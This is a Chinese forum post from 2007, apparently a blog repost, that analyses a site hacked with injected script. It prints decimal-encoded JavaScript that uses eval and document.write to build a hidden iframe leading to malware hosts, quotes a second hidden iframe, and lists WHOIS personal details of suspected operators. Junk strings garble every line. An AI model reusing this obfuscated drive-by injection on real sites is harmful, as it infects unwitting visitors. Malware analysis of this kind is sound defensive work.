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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, `.a L>hf  
yWIieztp  
http://www.areway.cn/?p=175 OdQ >h$ gZ  
t^?8Di\  
E E?v~6"&  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: A`(p6 H"s  
          V$ 38  
<script>t=’60,105,102,114,97,109,101, N-^\X3X  
32,115,114,99,61,104,116,116,112,58,47,47, ==x3|^0y  
102,114,101,101,46,117,45,117,117,117,46,99, qU8UKIP  
110,47,101,114,114,111,114,46,104,116,109, `Q26Dk  
32,119,105,100,116,104,61,49,48,48,32,104, N(Y9FD;H  
101,105,103,104,116,61,48,62,60,47,105,102, {%D "0*^  
114,97,109,101,62′; jbIWdHZ/US  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Z.6`O1OY}?  
                                                                                                  wdBytH6r.  
<script>t=’60,105,102,114,97,109,101,32,115, ?3SlvKI}H`  
114,99,61,104,116,116,112,58,47,47,102,114, $ajw]2kx  
101,101,46,117,45,117,117,117,46,99,110,47, B0p>'O2  
101,114,114,111,114,46,104,116,109,32,119, SUD]Wl7G`r  
105,100,116,104,61,49,48,48,32,104,101,105, =)M8>>l  
103,104,116,61,48,62,60,47,105,102,114,97, -Kg@Sj/U}R  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 'lC"wP&$  
document.write(t);</script> '5ky<  
                                                                                                  XyS#6D  
<html xmlns=” u4VQx,,  
http://www.w3.org/1999/xhtml ]&/jvA=\l,  
“> ibzYY"D:  
<head> rShi"Yw  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> *(?YgV  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> O#O~A |  
<title>首页 - 爱生活家庭网 #a#~YSnG  
                                                                                                                                                    "EEE09~l\  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 b]RCe^E1  
转换字符串后的大概内容是(谁点击后果自付): 344,mnAd  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… j,/o0k,  
                                                                                                                                  ^%_B'X9  
查询玉米u-uuu.cn的详细信息: /<:9NP'^  
Domain Name: u-uuu.cn 74gU 4T  
ROID: 20070901s10001s64972306-cn EoU}@MjM~  
Domain Status: ok L*FmJ{Yf  
Registrant Organization: 王雷 gY0*u+LF  
Registrant Name: 王雷 |Q9S$l]  
Administrative Email: czlovexs@126.com 6FEtq,;0w  
Sponsoring Registrar: 北京万网志成科技有限公司 /oiAAB27  
Name Server:ns.yovole.com JS(KCY9  
Name Server:ns1.yovole.com YD@V2gK  
Registration Date: 2007-09-01 17:54 tB(Q-c  
Expiration Date: 2008-09-01 17:54 !c6 lP'U  
最后PING了一下地址 都没有什么…. 1<\cMY6  
                                                                                                p00\C  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. Rp`}"x9  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> l^$:R~gS  
<script language=”javascript” src=” PNc200`v4_  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script vJ"@#$.  
> !LIWoa[ F.  
这个玉米应该有可能是木马作者的: asQ" |]m  
foafau.info的详细信息: w-/bLg[L?$  
Access to INFO WHOIS information is provided to assist persons in s #L1:L  
determining the contents of a domain name registration record in the :\80*[=;Z  
Afilias registry database. The data in this record is provided by yr sP'th  
Afilias Limited for informational purposes only, and Afilias does not Fi5,y;]R  
guarantee its accuracy.  This service is intended only for query-based Ce5 }+A}  
access. You agree that you will use this data only for lawful purposes gFDP:I/`  
and that, under no circumstances will you use this data to: (a) allow, u85y;AE,(  
enable, or otherwise support the transmission by e-mail, telephone, or A1Q]KS@  
facsimile of mass unsolicited, commercial advertising or solicitations 2#+@bk>^{  
to entities other than the data recipient’s own existing customers; or xmiF!R  
(b) enable high volume, automated, electronic processes that send R63"j\0  
queries or data to the systems of Registry Operator, a Registrar, or Y}1|/6eJ  
Afilias except as reasonably necessary to register domain names or &OI=r vDmo  
modify existing registrations. All rights reserved. Afilias reserves .\U+`>4av  
the right to modify these terms at any time. By submitting this query, _"WQi}Mm  
you agree to abide by this policy. `n^jU92  
Domain ID:D22418703-LRMS qk_ s"}sS  
Domain Name:FOAFAU.INFO bO2$0!=I  
Created On:20-Nov-2007 16:05:42 UTC k9^P#l@p  
Last Updated On:20-Nov-2007 16:05:44 UTC 6bb=;  
Expiration Date:20-Nov-2008 16:05:42 UTC ke3=s  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 0*g psS  
Status:CLIENT DELETE PROHIBITED uN$X3Ls_  
Status:CLIENT RENEW PROHIBITED 1GEE^Eu  
Status:CLIENT TRANSFER PROHIBITED %J|EDf ,M  
Status:CLIENT UPDATE PROHIBITED 8l='Hl  
Status:TRANSFER PROHIBITED kOtC(\]5  
Registrant ID:GODA-040110615 WO)K*c1F  
Registrant Name:liu hong p~3CXmUc~  
Registrant Organization: ; $y.+5 q  
Registrant Street1:beijing R o-Mex2  
Registrant Street2: xY!]eLZ)&  
Registrant Street3: 3I"&Qp%2  
Registrant City:beijing K] Eq"3  
Registrant State/Province: sS-5W-&P{T  
Registrant Postal Code:100000 c&0IJ7fZG  
Registrant Country:CN Pi8U}lG;  
Registrant Phone:+86.860108888777 a?JU(  
Registrant Phone Ext.: x(S 064  
Registrant FAX: tY[y?DJ  
Registrant FAX Ext.: *\joaw  
Registrant Email:bbbshiji@163.com l,v:[N  
Admin ID:GODA-240110615 Qy6Avw/$  
Admin Name:liu hong ,%KB\;1mn'  
Admin Organization: ( j-(fS  
Admin Street1:beijing >Mvt;'c  
Admin Street2: ^2mXXAQf7^  
Admin Street3: }>Os@]*'^(  
Admin City:beijing w:umr#  
Admin State/Province: *:&fw'vd,  
Admin Postal Code:100000 -9aht}Z  
Admin Country:CN 'm2,7]  
Admin Phone:+86.860108888777 5T   
Admin Phone Ext.: ?L'k2J  
Admin FAX: S>"dUM  
Admin FAX Ext.: ,#c-"x Y  
Admin Email:bbbshiji@163.com 5X`.2q=d  
Billing ID:GODA-340110615 7PisX!c,h  
Billing Name:liu hong C&5T;=<jKO  
Billing Organization: y!v$5wi  
Billing Street1:beijing @{ nT4{  
Billing Street2: Vm6^'1CY  
Billing Street3: 1%-?e``.  
Billing City:beijing MiSFT5$v6  
Billing State/Province: Ab(bvS8r$  
Billing Postal Code:100000 Cog:6Gnw  
Billing Country:CN c3 wu&*p{  
Billing Phone:+86.860108888777 +m+HC(Z  
Billing Phone Ext.: W:) M}}&H  
Billing FAX: [{zekF~)@  
Billing FAX Ext.: +6;OB@  
Billing Email:bbbshiji@163.com -_4! id  
Tech ID:GODA-140110615 aoJ&< vl3  
Tech Name:liu hong {;-$;\D  
Tech Organization: RMvlA' c  
Tech Street1:beijing yGD0}\!n  
Tech Street2: \4vFEJSh  
Tech Street3: xeHu-J!P  
Tech City:beijing }Ns_RS$  
Tech State/Province: db4&?55Q  
Tech Postal Code:100000 P0z "Eq0S  
Tech Country:CN b uhxC5i%  
Tech Phone:+86.860108888777 yqBu7E$X  
Tech Phone Ext.: Iy,)>V%iZV  
Tech FAX: Cu?$!|V  
Tech FAX Ext.: DX!$k[  
Tech Email:bbbshiji@163.com k[zf`x^  
Name Server:NS27.DOMAINCONTROL.COM ?.Kl/8ml  
Name Server:NS28.DOMAINCONTROL.COM 'PO1{&M  
Name Server: 4o=G) KO{  
Name Server: X'u`\<&W  
Name Server: t*<c+Ixu  
Name Server: 'rF TtT  
Name Server: 6 XG+YIG6w  
Name Server: )8k6GO8|  
Name Server: nut7b  
Name Server: ,2cw9?<  
Name Server: +Rh'VZJs  
Name Server: ZU@V]+ww  
Name Server: |aVv Lz  
                                                                                                          z[k2&=c  
接着下载每个文件里面的代码: brVT  
一步一步看.. :heJ5* !,  
A%2!Hr  
jG^~{7#  
ze ua`jQ  
Jg Xbs+.  
eU12*(  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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